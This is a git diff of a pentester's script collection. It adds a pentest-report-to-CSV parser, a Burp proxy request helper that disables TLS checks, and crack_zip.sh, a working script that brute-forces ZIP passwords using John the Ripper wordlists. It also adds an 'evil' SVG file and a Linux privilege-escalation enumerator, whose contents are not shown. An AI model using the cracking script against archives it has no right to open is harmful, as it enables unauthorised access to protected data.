%.1f seconds" % int(time.time() - start_time) + print + + filename = "%s.xml" % options.report_file_stem + print "[+] Saving report file %s" % filename + f = open(filename, 'w') + f.write(report.as_xml_string()) + f.close() + + filename = "%s.txt" % options.report_file_stem + print "[+] Saving report file %s" % filename + f = open(filename, 'w') + f.write(report.as_text()) + f.close() + + filename = "%s.html" % options.report_file_stem + print "[+] Saving report file %s" % filename + f = open(filename, 'w') + f.write(report.as_html()) + f.close() + + #wpc.conf.cache.print_stats() diff --git a/BurpManiProxy.php b/BurpManiProxy.php new file mode 100755 index 0000000..85fe529 --- /dev/null +++ b/BurpManiProxy.php @@ -0,0 +1,39 @@ + 'okhttp/3.9.0', 'app' => 'ANDROID', 'key' => '123']; + + $variable = getdataz($target, $headers, $dataz); + echo $variable; // or do manipulation etc. + + /*** + * Leave me + */ + + function getdataz($target, $headers, $dataz){ + $ch = curl_init($target); + + curl_setopt($ch, CURLOPT_HEADER, $headers); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); + curl_setopt($ch, CURLOPT_POSTFIELDS,$dataz); + curl_setopt($ch, CURLOPT_PROXY, '127.0.0.1:8080'); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + + $result = curl_exec($ch); + curl_close($ch); + + return $result; + } +} + +?> \ No newline at end of file diff --git a/README.md b/README.md index 94d2610..16d5f1c 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,9 @@ -DirtyScripts -=============== +This repo comes as-is!! + +It is just a dump of stuff, maybe useful, probably not. + +Without warranty or documentation. + +If you can't read the code then this isn't for you. + +Please do not ask for help regarding anything here, you will be ignored \ No newline at end of file diff --git a/ReportToolz/README.md b/ReportToolz/README.md new file mode 100644 index 0000000..6e0e95c --- /dev/null +++ b/ReportToolz/README.md @@ -0,0 +1,29 @@ +``` +╰» ./rep2.php -d "/mnt/hgfs/Pentest/pentests/2019/Precise/J34562.6 Company Web Application Technical Report 1.1.odt" +_____ _____ _____ 2 +||_// ||== ||_// +|| \ ||___ || + +[!] doc: /mnt/hgfs/Pentest/pentests/2019/Company/J12345.6 Company Web Application Technical Report 1.1.odt +[+] doc extracted +[=] fonts found: 23 +[+] vulnerabilities identified +[+] temp files removed +[+] created directory /mnt/hgfs/Pentest/pentests/2019/Company/rep2/ +[+] medium issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_serious.csv +[+] low issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_serious.csv +[+] all issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_all.csv +[+] remediation table: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/remediation.csv +[+] OWASP table: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/owasp.csv +[=] Serious = 0, High = 0, Medium = 4, Low = 3 + +Ref | Title | Risk | CVSS | Remediation | OWASP +-------|-----------------------------------|--------|--------|---------------|------------------------------ +5.1.1 |Missing Security Headers |Medium |5.1 |Configuration |A6 Security Misconfiguration +5.1.2 |Insecure SSL Certificate Detected |Medium |4.8 |Configuration |A6 Security Misconfiguration +5.1.3 |Missing Cookie Attributes |Medium |4.7 |Configuration |A6 Security Misconfiguration +5.1.4 |jQuery Vulnerabilities |Medium |4.3 |Configuration |A9 Components with Known Vulne +5.2.1 |Software Version Numbers Disclosed |Low |5.3 |Configuration |A6 Security Misconfiguration +5.2.2 |Verbose Error Reporting Enabled |Low |5.3 |Configuration |A6 Security Misconfiguration +5.2.3 |Wildcard SSL Certificate |Low |3.7 |Configuration |A6 Security Misconfiguration +``` \ No newline at end of file diff --git a/ReportToolz/classes/CommandArgumentFilter.php b/ReportToolz/classes/CommandArgumentFilter.php new file mode 100644 index 0000000..1ffa45e --- /dev/null +++ b/ReportToolz/classes/CommandArgumentFilter.php @@ -0,0 +1,343 @@ + + */ + +namespace Clapp; + +/** + * Filters an array and extracts and validates command line arguments + * + * @author Patrick Forget + */ +class CommandArgumentFilter +{ + /** + * Command line arguments + * @var array + */ + private $arguments = array(); + + /** + * Definition of allowed parameters + * @var \Clapp\CommandLineArgumentDefinition + */ + private $definitions = null; + + /** + * Flag if arguments have been parsed in to params + * @var boolean + */ + private $parsed = false; + + /** + * Parsed params + * @var array + */ + private $params = array(); + + /** + * Trailing values + * @var string + */ + private $trailingValues = ""; + + /** + * program name + * @var string + */ + private $programName = ""; + + /** + * class constructor + * + * @author Patrick Forget + * + * @param \Clapp\CommandLineDefinition $definitions contains list of allowed parameters + * @param array $args list of arguments to filter. + */ + public function __construct(\Clapp\CommandLineArgumentDefinition $definitions, $args) + { + if (is_array($args)) { + $this->arguments = $args; + } //if + + $this->definitions = $definitions; + } // __construct() + + /** + * returns parameter matching provided name + * + * @author Patrick Forget + * + * @param string name of the paramter to retreive + * + * @return mixed if param the param appears only once the method will + * return 1 if the parameter doesn't take a value. The specified value + * for that param will returned if it does take value. + * + * If many occurence of the param appear the number of occurences will + * be returned for params that do not take values. An array of values + * will be returned for the parameters that do take values. + * + * If the parameter is not present null if it takes a value and false if + * it's not present and doesn't allow values + */ + public function getParam($name) + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + $longName = strlen($name) === 1 ? $this->definitions->getLongName($name) : $name; + if (isset($this->params[$longName])) { + return $this->params[$longName]; + } else { + if ($this->definitions->allowsValue($longName)) { + return null; + } else { + return false; + } //if + } //if + + } // getParam() + + /** + * retreive the program name + * + * @author Patrick Forget + */ + public function getProgramName() + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + return $this->programName; + } // getProgramName() + + /** + * retreive the trailing values + * + * @author Patrick Forget + */ + public function getTrailingValues() + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + return $this->trailingValues; + } // getTrailingValues() + + /** + * extracts params from arguments + * + * @author Patrick Forget + */ + protected function parseParams() + { + + $argumentStack = $this->arguments; + + $expectingValue = false; + $currentLongName = null; + $currentValue = null; + $trailingValues = ""; + $endOfDashedArguments = false; + $addParam = false; + $argumentsLeft = sizeof($argumentStack); + $multiShortParams = array(); + + $this->programName = array_shift($argumentStack); // remove first argument which is the program name + + while ($currentArgument = array_shift($argumentStack)) { + $argumentsLeft--; + $currentArgumentLength = strlen($currentArgument); + + // arguments that don't start with a dash + if (substr($currentArgument, 0, 1) !== '-') { + if ($expectingValue) { + $currentValue = $currentArgument; + $addParam = true; + } else { + $trailingValues .= " ". $currentArgument; + $endOfDashedArguments = true; + } //if + + // double dash detected + } elseif (substr($currentArgument, 1, 1) === '-') { + if ($expectingValue) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + /* stop parsing arguments if double dash + only param is encountered */ + if ($currentArgumentLength == 2) { + if ($trailingValues !== "") { + throw new \UnexpectedValueException("Trailing values must appear after double dash"); + } //if + + $trailingValues = " ". implode(" ", $argumentStack); + $argumentStack = array(); + $endOfDashedArguments = true; + break; + } //if + + $longNameParts = explode("=", substr($currentArgument, 2), 2); + + $currentLongName = $longNameParts[0]; + + if (sizeof($longNameParts) > 1) { + $currentValue = $longNameParts[1]; + $addParam = true; + } elseif ($this->definitions->allowsValue($currentLongName)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + // single dash + } else { + if ($expectingValue) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + $shortNameParts = explode("=", substr($currentArgument, 1), 2); + + $shortName = $shortNameParts[0]; + + if (strlen($shortName) <= 1) { + $currentLongName = $this->definitions->getLongName($shortName); + + if ($currentLongName === null) { + throw new \InvalidArgumentException("Unable to find name with ". + "provided parameter ({$shortName})"); + } //if + + if (sizeof($shortNameParts) > 1) { + $currentValue = $shortNameParts[1]; + $addParam = true; + } elseif ($this->definitions->allowsValue($currentLongName)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + } else { + $multiShortParams = str_split($shortName); + + /* process the last one (which is the only one that can have a value) */ + $lastParam = array_pop($multiShortParams); + $currentLongName = $this->definitions->getLongName($lastParam); + if (sizeof($shortNameParts) > 1) { + $currentValue = $shortNameParts[1]; + $addParam = true; + } elseif ($this->definitions->allowsValue($lastParam)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + } //if + + } //if + + if ($addParam) { + if ($endOfDashedArguments) { + throw new \UnexpectedValueException("Unexpected argument after undashed values"); + } //if + + /* Not sure how this could happen */ + // @codeCoverageIgnoreStart + if ($currentLongName === false || $currentLongName === null) { + throw new \UnexpectedValueException("Missing argument name"); + } //if + // @codeCoverageIgnoreEnd + + if (!$this->definitions->paramExists($currentLongName)) { + throw new \InvalidArgumentException("Invalid argument name"); + } //if + + $allowsMultiple = $this->definitions->allowsMultiple($currentLongName); + $allowsValue = $this->definitions->allowsValue($currentLongName); + + if (isset($this->params[$currentLongName]) && !$allowsMultiple) { + throw new \UnexpectedValueException("Multiple instace of parameter {$currentLongName} not allowed"); + } //if + + if ($allowsValue) { + /* Missing values should always be detected before addParam is true */ + // @codeCoverageIgnoreStart + if ($currentValue === null) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + // @codeCoverageIgnoreEnd + + } elseif ($currentValue !== null) { + throw new \UnexpectedValueException("Parameter {$currentLongName} does not accept values"); + + } else { + $currentValue = true; + } //if + + if ($allowsMultiple) { + if ($allowsValue) { + if (!isset($this->params[$currentLongName])) { + $this->params[$currentLongName] = array(); + } //if + + $this->params[$currentLongName][] = $currentValue; + + } else { + if (!isset($this->params[$currentLongName])) { + $this->params[$currentLongName] = 0; + } //if + + $this->params[$currentLongName]++; + + } //if + + } else { + $this->params[$currentLongName] = $currentValue; + } //if + + foreach ($multiShortParams as $shortName) { + $argumentStack[] = "-{$shortName}"; + $argumentsLeft++; + } //foreach + + /* reset stuff for next param */ + $expectingValue = false; + $currentLongName = null; + $currentValue = null; + $addParam = false; + $multiShortParams = array(); + + } //if + + } //while + + if ($expectingValue !== false) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + /* Not sure how this could happen */ + // @codeCoverageIgnoreStart + if ($currentLongName !== null || + $addParam !== false || + $currentValue !== null || + sizeof($multiShortParams) !== 0) { + throw new \UnexpectedValueException("Unable to process some parameters"); + } //if + // @codeCoverageIgnoreEnd + + if ($trailingValues !== "") { + $this->trailingValues = substr($trailingValues, 1); // remove extra space at the begging + } //if + + $this->parsed = true; + } // parseParams() +} diff --git a/ReportToolz/classes/CommandLineArgumentDefinition.php b/ReportToolz/classes/CommandLineArgumentDefinition.php new file mode 100644 index 0000000..2b2e8fa --- /dev/null +++ b/ReportToolz/classes/CommandLineArgumentDefinition.php @@ -0,0 +1,389 @@ + + */ + +namespace Clapp; + +/** + * Defines list and formats of command line arguments + * + * @author Patrick Forget + */ +class CommandLineArgumentDefinition +{ + + /** + * @var array + */ + private $definitions = array(); + + /** + * long names as keys and array of properties as values + * + * properties are as follows + * * string "shortName" one letter char to the corresponding short name + * * boolean "isMultipleAllowed" true if mutliple instances of the param are allowed + * * mixed "parameterType" false if paramters are not alloweda value, + * otherwise a string with the value "integer" or "string" + * * string "description" description of the parameter + * @var array + */ + private $longNames = array(); + + /** + * list of short names as keys and their long name equivalent as values + * @var array + */ + private $shortNames = array(); + + /** + * Flag if arguments have been parsed in to params + * @var boolean + */ + private $isParsed = false; + + /** + * class constructor + * + * @author Patrick Forget + * + * @param array $definitions contains list of allowed parameters + * the key is the long name of the parameter followed by a pipe (|) + * then a single character specifying the short name. + * + * If the parameter allows for arguments then an equal sign (=) + * follows and then the type of paramter. + * + * Allowed types are either i, int or integer for integer types + * and s, str or string for string types. + * + * If a parameter can appear more than once the last character of + * the key should be a plus character (+). + * + * The value of the entry is the definition of what the paramter + * does. + */ + public function __construct($definitions) + { + if (is_array($definitions)) { + $this->definitions = $definitions; + } //if + } // __construct() + + /** + * checks if parameter is allowed + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return boolean true if definition exisits, false otherwise + */ + public function paramExists($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + if (strlen($name) == 1) { + return isset($this->shortNames[$name]); + } else { + return isset($this->longNames[$name]); + } //if + } // paramExists($name) + + + /** + * checks if parameter allows a value if so what type + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return boolean|string false doesn't allow value, The value "string" or "integer" depending which type it allows + */ + public function allowsValue($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName])) { + return $this->longNames[$longName]['parameterType'] !== false ? true : false; + } else { + return false; + } //if + } // allowsValue() + + /** + * returns the type of value allowed + * + * @author Patrick Forget + */ + public function getValueType($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName]['parameterType']) + && $this->longNames[$longName]['parameterType'] !== false) { + return $this->longNames[$longName]['parameterType']; + } else { + return ''; + } //if + } // getValueType() + + + /** + * checks if pamultiple instance of parameter are allowed + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return boolean false if parameter doesn't allow multiple values, true if it does + */ + public function allowsMultiple($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName])) { + return $this->longNames[$longName]['isMultipleAllowed']; + } else { + return false; + } //if + } // allowsMultiple() + + /** + * retreive short name of a parameter using its long name + * + * @author Patrick Forget + * + * @param string $name long name of the parameter to check + * + * @return string character of the short name or null if it doesn't exist + */ + public function getShortName($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + if (isset($this->longNames[$name])) { + return $this->longNames[$name]['shortName']; + } else { + return null; + } //if + } // getShortName($name) + + /** + * retreive long name of a parameter using its short name + * + * @author Patrick Forget + * + * @param string $name short name of the parameter to check + * + * @return string long name or null if it doesn't exist + */ + public function getLongName($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + if (isset($this->shortNames[$name])) { + return $this->shortNames[$name]; + } else { + return null; + } //if + } // getLongName($name) + + /** + * retreive description of a paramter + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return string description or null if it doesn't exist + */ + public function getDescription($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName])) { + return $this->longNames[$longName]['description']; + } else { + return null; + } //if + } // getDescription() + + /** + * builds a usage definition based on definition of params + * + * @author Patrick Forget + */ + public function getUsage() + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + /* build list of argument names and calculate + the first column width so we can pad to + align definitions */ + $firstCol = array(); + $longestDef = 0; + foreach (array_keys($this->longNames) as $longName) { + ob_start(); + echo "--{$longName}|-{$this->getShortName($longName)}"; + + if ($this->allowsValue($longName)) { + echo "={$this->getValueType($longName)}"; + } //if + + if ($this->allowsMultiple($longName)) { + echo "+"; + } //if + + $defLength = ob_get_length(); + + $longestDef = max($longestDef, $defLength); + + $firstCol[$longName] = ob_get_contents(); + ob_end_clean(); + + } //foreach + + $firstColMaxWidth = $longestDef + 4; + + ob_start(); + + foreach ($firstCol as $longName => $def) { + $currentDefLength = strlen($def); + + $padding = str_repeat(" ", $firstColMaxWidth - $currentDefLength); + + echo "{$def}{$padding}{$this->getDescription($longName)}", PHP_EOL; + } //foreach + + echo PHP_EOL; + + $usage = ob_get_contents(); + ob_end_clean(); + + return $usage; + + } // getUsage() + + + /** + * parses the definitions + * + * @author Patrick Forget + */ + protected function parseDefinitions() + { + foreach ($this->definitions as $nameDef => $description) { + $nameParts = explode("|", $nameDef); + + if (sizeof($nameParts) !== 2) { + throw new \UnexpectedValueException("Unexpected argument name definition expecting \"longName|char\""); + } //if + + $longName = $nameParts[0]; + $isMulti = false; + $parameterType = false; + + $shortNameLength = strlen($nameParts[1]); + + if ($shortNameLength == 1) { + $shortName = $nameParts[1]; + } else { + $secondChar = substr($nameParts[1], 1, 1); + + switch ($secondChar) { + case '=': + $shortNameParts = explode("=", $nameParts[1]); + + $shortName = $shortNameParts[0]; + $parameterTypeString = $shortNameParts[1]; + + if (substr($parameterTypeString, -1) === '+') { + $isMulti = true; + $parameterTypeString = substr($parameterTypeString, 0, -1); // remove trailing + + } //if + + switch ($parameterTypeString) { + case 'i': + case 'int': + case 'integer': + $parameterType = 'integer'; + break; + case 's': + case 'str': + case 'string': + $parameterType = 'string'; + break; + default: + throw new \UnexpectedValueException("Expecting parameter type". + " to be either integer or string"); + break; + } //switch + + break; + case '+': + if ($shortNameLength > 2) { + throw new \UnexpectedValueException("Multiple flag charachter (+)". + " should be last character in definition"); + } //if + + $shortName = substr($nameParts[1], 0, 1); + $isMulti = true; + + break; + default: + throw new \UnexpectedValueException("Expecting short name definition to be a single char"); + break; + } // switch + + } //if + + if (isset($this->longNames[$longName])) { + throw new \UnexpectedValueException("Cannot redefine long name {$longName}"); + } //if + + if (isset($this->shortNames[$shortName])) { + throw new \UnexpectedValueException("Cannot redefine short name {$shortName}"); + } //if + + $this->longNames[$longName] = array( + 'shortName' => $shortName, + 'isMultipleAllowed' => $isMulti, + 'parameterType' => $parameterType, + 'description' => $description + ); + + $this->shortNames[$shortName] = $longName; + + } //foreach + + $this->isParsed = true; + } // parseDefinitions() +} diff --git a/ReportToolz/rep2.php b/ReportToolz/rep2.php new file mode 100755 index 0000000..d19c6b8 --- /dev/null +++ b/ReportToolz/rep2.php @@ -0,0 +1,435 @@ +#!/usr/bin/php + "Shows help message", + "doc|d=s" => "/path/to/doc.odt to use", + ) +); + +$filter = new \Clapp\CommandArgumentFilter($definitions, $argv); + +if ($filter->getParam('h') === true || $argc < 2) { + fwrite(STDERR, $definitions->getUsage()); + exit(0); +} + +// see if doc exists +if ($filter->getParam("doc") == false) + die("[-] no doc set\n"); + +echo "[!] doc: ".$filter->getParam("doc")."\n"; +if(!file_exists($filter->getParam("doc"))) + die("[-] no such file! \n"); + +// extract doc and get contents +$rand = uniqid(); +mkdir("/tmp/$rand"); +if(unzipFolder($filter->getParam("doc"), "/tmp/$rand/")) { + $source = file_get_contents("/tmp/$rand/content.xml"); + echo "[+] doc extracted\n"; +} else { + die("[-] unable to extract doc\n"); +} + +// Parse Doc's XML +$line = array(); +$reader = new XMLReader(); +if (!$reader->open("/tmp/$rand/content.xml")) die("[-] Failed to open 'content.xml'\n"); + +// font checker +/*** + * FUTURE FEATURE PERHAPS + */ +$fonts = array(); +while ($reader->read()){ + //print_r($reader->name); + if ($reader->nodeType == XMLREADER::ELEMENT && ($reader->name === 'style:font-face')) { + //if(!empty($reader->name)){ + //echo "here2\n"; + //$line[] = $reader->expand()->textContent; // Put the text into array in correct order... + $fonts[] = $reader->getAttribute("style:name"); + //echo $font;echo "\n"; // DEBUG + //} + } +} +$reader->close(); +//die(); +echo "[=] fonts found: ".sizeof($fonts)."\n"; + +// step through text:h and text:p elements to put them into an array +$reader = new XMLReader(); +if (!$reader->open("/tmp/$rand/content.xml")) die("[-] Failed to open 'content.xml'\n"); +while ($reader->read()){ + if ($reader->nodeType == XMLREADER::ELEMENT && ($reader->name === 'text:h' || $reader->name === 'text:p' || $reader->name === 'text:bookmark')) { + if(!empty($reader->expand()->textContent)) + $line[] = $reader->expand()->textContent; // Put the text into array in correct order... + //echo $reader->expand()->textContent;echo "\n"; // DEBUG + } +} +$reader->close(); + +// find the content we want +$start = 0; $end = 0; +foreach($line as $key => $val){ + if(strpos($val, "Discovered Vulnerabilities") === 0){ $start = $key; } + if(strpos($val, "This section provides a quick guide to plan your remediation for the vulnerabilities discovered during the test.") === 0){ $end = $key-2; } + $line[$key] = trim($val); +} + +// add to sexy array's +$vuln = array(); +$vulnPlace = 0; +$switch = 0; +$sub2 = 0; +$sub3 = 1; +for ($i=$start; $i <= $end ; $i++) { + // change state (action to take) + /*** + * ~states~ + * 0 = do nothing + * 1 = next is title + * 2 = next is description + * 3 = next is solution + * 4 = next is remediation + * 5 = next is cvss no + * 6 = next is risk level + * 7 = next is hosts + * 8 = next possibly title + */ + switch ($line[$i]) { + case 'Discovered Vulnerabilieies': + $switch = 0; + break; + case 'Serious Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'High Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'Medium Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'Low Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'Description': + $switch = 2; + break; + case 'Solution': + $switch = 3; + break; + case 'Remediation': + $switch = 4; + break; + case 'CVSS Base Score': + $switch = 5; + break; + case 'Risk Level': + $switch = 6; + break; + case 'Vulnerabilities Exist On': + $switch = 7; + break; + default: + # code... + break; + } + + //take action + switch ($switch) { + case 1: + $i++; + $vuln[$vulnPlace]['title'] = $line[$i]; + $vuln[$vulnPlace]['ref'] = "$sub1.$sub2.$sub3"; + $sub3++; + $switch = 0; + break; + case 2: + @$vuln[$vulnPlace]['desc'] .= $line[$i]; + break; + case 3: + @$vuln[$vulnPlace]['fix'] .= $line[$i]; + break; + case 4: + $i++; + $vuln[$vulnPlace]['rem'] = trim(strtok($line[$i], " ")); + $switch = 0; + break; + case 5: + $i++; + $vuln[$vulnPlace]['cvss'] = $line[$i]; + $switch = 0; + break; + case 6: + $i++; + $vuln[$vulnPlace]['risk'] = trim(strtok($line[$i], " ")); + $vuln[$vulnPlace]['owasp'] = trim(substr($line[$i], strpos($line[$i], ":") + 1)); + $switch = 0; + break; + case 7: + $i++; + $vuln[$vulnPlace]['hosts'] = $line[$i]; + $switch = 8; + $vulnPlace++; + break; + case 8: + $vuln[$vulnPlace]['title'] = trim($line[$i]); + $vuln[$vulnPlace]['ref'] = "$sub1.$sub2.$sub3"; + $sub3++; + $switch = 0; + break; + default: + # code... + break; + } + + //echo $line[$i]."\n"; // DEBUG +} + +// minor tidying of arrays +for ($i=0; $i < sizeof($vuln) ; $i++) { + if (strpos($vuln[$i]['desc'], "Description") === 0) $vuln[$i]['desc'] = substr($vuln[$i]['desc'], strlen("Description")); + if (strpos($vuln[$i]['fix'], "Solution") === 0) $vuln[$i]['fix'] = substr($vuln[$i]['fix'], strlen("Solution")); + $vuln[$i]['risk'] = rtrim($vuln[$i]['risk'], ":"); + // remove html encoding + foreach($vuln[$i] as $key => $val){ + $vuln[$i][$key] = mb_convert_encoding($val, "UTF-8", 'UTF-8'); + } +} + +//print_r($vuln); // DEBUG +echo "[+] vulnerabilities identified\n"; + +delTree("/tmp/$rand"); +echo "[+] temp files removed\n"; + +$resultsFolder = substr($filter->getParam("doc"), 0, strrpos( $filter->getParam("doc"), '/') )."/rep2"; +if(!file_exists($resultsFolder."/")){ + mkdir($resultsFolder."/"); + echo "[+] created directory $resultsFolder/\n"; +}else{ + $i = 1; + while (file_exists($resultsFolder."_$i/")) + $i++; + mkdir($resultsFolder."_$i/"); + $resultsFolder .= "_$i"; + echo "[+] created directory $resultsFolder/\n"; +} + +if(writeIssueTable($vuln, "Serious", $resultsFolder."/findings_serious.csv")) + echo "[+] serious issues: $resultsFolder/findings_serious.csv\n"; +if(writeIssueTable($vuln, "High", $resultsFolder."/findings_high.csv")) + echo "[+] high issues: $resultsFolder/findings_serious.csv\n"; +if(writeIssueTable($vuln, "Medium", $resultsFolder."/findings_medium.csv")) + echo "[+] medium issues: $resultsFolder/findings_serious.csv\n"; +if(writeIssueTable($vuln, "Low", $resultsFolder."/findings_low.csv")) + echo "[+] low issues: $resultsFolder/findings_serious.csv\n"; + +if(writeAllTable($vuln, $resultsFolder."/findings_all.csv")) + echo "[+] all issues: $resultsFolder/findings_all.csv\n"; + +if(writeRemediationTable($vuln, $resultsFolder."/remediation.csv")) + echo "[+] remediation table: $resultsFolder/remediation.csv\n"; + +if(writeOWASPTable($vuln, $resultsFolder."/owasp.csv")) + echo "[+] OWASP table: $resultsFolder/owasp.csv\n"; + +viewVulns($vuln); + +function unzipFolder($zipInputFile, $outputFolder) { + $zip = new ZipArchive; + $res = $zip->open($zipInputFile); + if ($res === true) { + $zip->extractTo($outputFolder); + $zip->close(); + return true; + } + else { + return false; + } +} + +function XML2Array(SimpleXMLElement $parent){ + $array = array(); + + foreach ($parent as $name => $element) { + ($node = & $array[$name]) + && (1 === count($node) ? $node = array($node) : 1) + && $node = & $node[]; + + $node = $element->count() ? XML2Array($element) : trim($element); + } + + return $array; +} + +function delTree($dir){ + $files = array_diff(scandir($dir), array('.', '..')); + + foreach ($files as $file) { + (is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file"); + } + + return rmdir($dir); +} + +function viewVulns($vuln){ + $s = $h = $m = $l = 0; + for ($i=0; $i < sizeof($vuln) ; $i++) { + switch ($vuln[$i]['risk']) { + case 'Serious': + $s++; + break; + case 'High': + $h++; + break; + case 'Medium': + $m++; + break; + case 'Low': + $l++; + break; + } + } + echo "[=] Serious = $s, High = $h, Medium = $m, Low = $l\n"; + +echo" +Ref | Title | Risk | CVSS | Remediation | OWASP +-------|-----------------------------------|--------|--------|---------------|------------------------------\n"; +for ($i=0; $i < sizeof($vuln) ; $i++) { + $ref = str_pad($vuln[$i]['ref'], 7); + $title = str_pad($vuln[$i]['title'], 35); + $risk = str_pad($vuln[$i]['risk'], 8); + $cvss = str_pad($vuln[$i]['cvss'], 8); + $rem = str_pad($vuln[$i]['rem'], 15); + $owasp = str_pad($vuln[$i]['owasp'], 30); + + echo substr($ref, 0, 7); echo "|"; + echo substr($title, 0, 35); echo "|"; + echo substr($risk, 0, 8); echo "|"; + echo substr($cvss, 0, 8); echo "|"; + echo substr($rem, 0, 15); echo "|"; + echo substr($owasp, 0, 30); echo "\n"; +} +} + +function writeIssueTable($vuln, $issue, $path){ + $towrite = array(); + for ($i=0; $i < sizeof($vuln) ; $i++) { + if($vuln[$i]['risk'] == $issue){ + $towrite[$i]['desc'] = $vuln[$i]['title']." - ".$vuln[$i]['desc']; + $towrite[$i]['fix'] = $vuln[$i]['fix']; + $towrite[$i]['ref'] = $vuln[$i]['ref']; + $towrite[$i]['hosts'] = $vuln[$i]['hosts']; + } + } + if(sizeof($towrite) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + foreach ($towrite as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +function writeAllTable($vuln, $path){ + if(sizeof($vuln) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + fputcsv($fp, array("Title", "Ref", "Description", "Solution", "Remediation", "CVSS", "Risk", "OWASP", "Affected")); + foreach ($vuln as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +function writeRemediationTable($vuln, $path){ + $towrite = array(); + for ($i=0; $i < sizeof($vuln) ; $i++) { + $towrite[$i]['hosts'] = $vuln[$i]['hosts']; + $towrite[$i]['ref'] = $vuln[$i]['ref']; + $towrite[$i]['p'] = " "; + $towrite[$i]['c'] = " "; + $towrite[$i]['d'] = " "; + $towrite[$i]['u'] = " "; + switch ($vuln[$i]['rem']) { + case 'Patch': + $towrite[$i]['p'] = $vuln[$i]['risk'][0]; + break; + case 'Configuration': + $towrite[$i]['c'] = $vuln[$i]['risk'][0]; + break; + case 'Development': + $towrite[$i]['d'] = $vuln[$i]['risk'][0]; + break; + case 'Upgrade': + $towrite[$i]['u'] = $vuln[$i]['risk'][0]; + break; + } + } + if(sizeof($towrite) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + fputcsv($fp, array("Host", "Ref", "P", "C", "D", "U")); + foreach ($towrite as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +function writeOWASPTable($vuln, $path){ + $towrite = array(); + for ($i=0; $i < sizeof($vuln) ; $i++) { + if(in_array($vuln[$i]['owasp'], array_column($towrite, 'owaspId'))){ + $towrite[$vuln[$i]['owasp']]['no']++; + }else{ + $towrite[$vuln[$i]['owasp']]['owaspId'] = $vuln[$i]['owasp']; + $towrite[$vuln[$i]['owasp']]['no'] = 1; + } + } + if(sizeof($towrite) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + foreach ($towrite as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +?> \ No newline at end of file diff --git a/crack_zip.sh b/crack_zip.sh new file mode 100755 index 0000000..bc6de1a --- /dev/null +++ b/crack_zip.sh @@ -0,0 +1,18 @@ +#!/bin/bash +echo "ZIP-JTR Decrypt Script"; +if [ $# -ne 2 ] +then +echo "Usage $0 "; +exit; +fi +unzip -l $1 +for i in $(john --wordlist=$2 --rules --stdout) +do + echo -ne "\rtrying \"$i\" " + unzip -o -P $i $1 >/dev/null 2>&1 + STATUS=$? + if [ $STATUS -eq 0 ]; then + echo -e "\nArchive password is: \"$i\"" + break + fi +done diff --git a/evilsvgfile.svg b/evilsvgfile.svg new file mode 100755 index 0000000..07d08f0 --- /dev/null +++ b/evilsvgfile.svg @@ -0,0 +1,9 @@ + + + + + + + \ No newline at end of file diff --git a/privesc/LinEnum.sh b/privesc/LinEnum.sh new file mode 100755 index 0000000..fe8d7a2 --- /dev/null +++ b/privesc/LinEnum.sh @@ -0,0 +1,1208 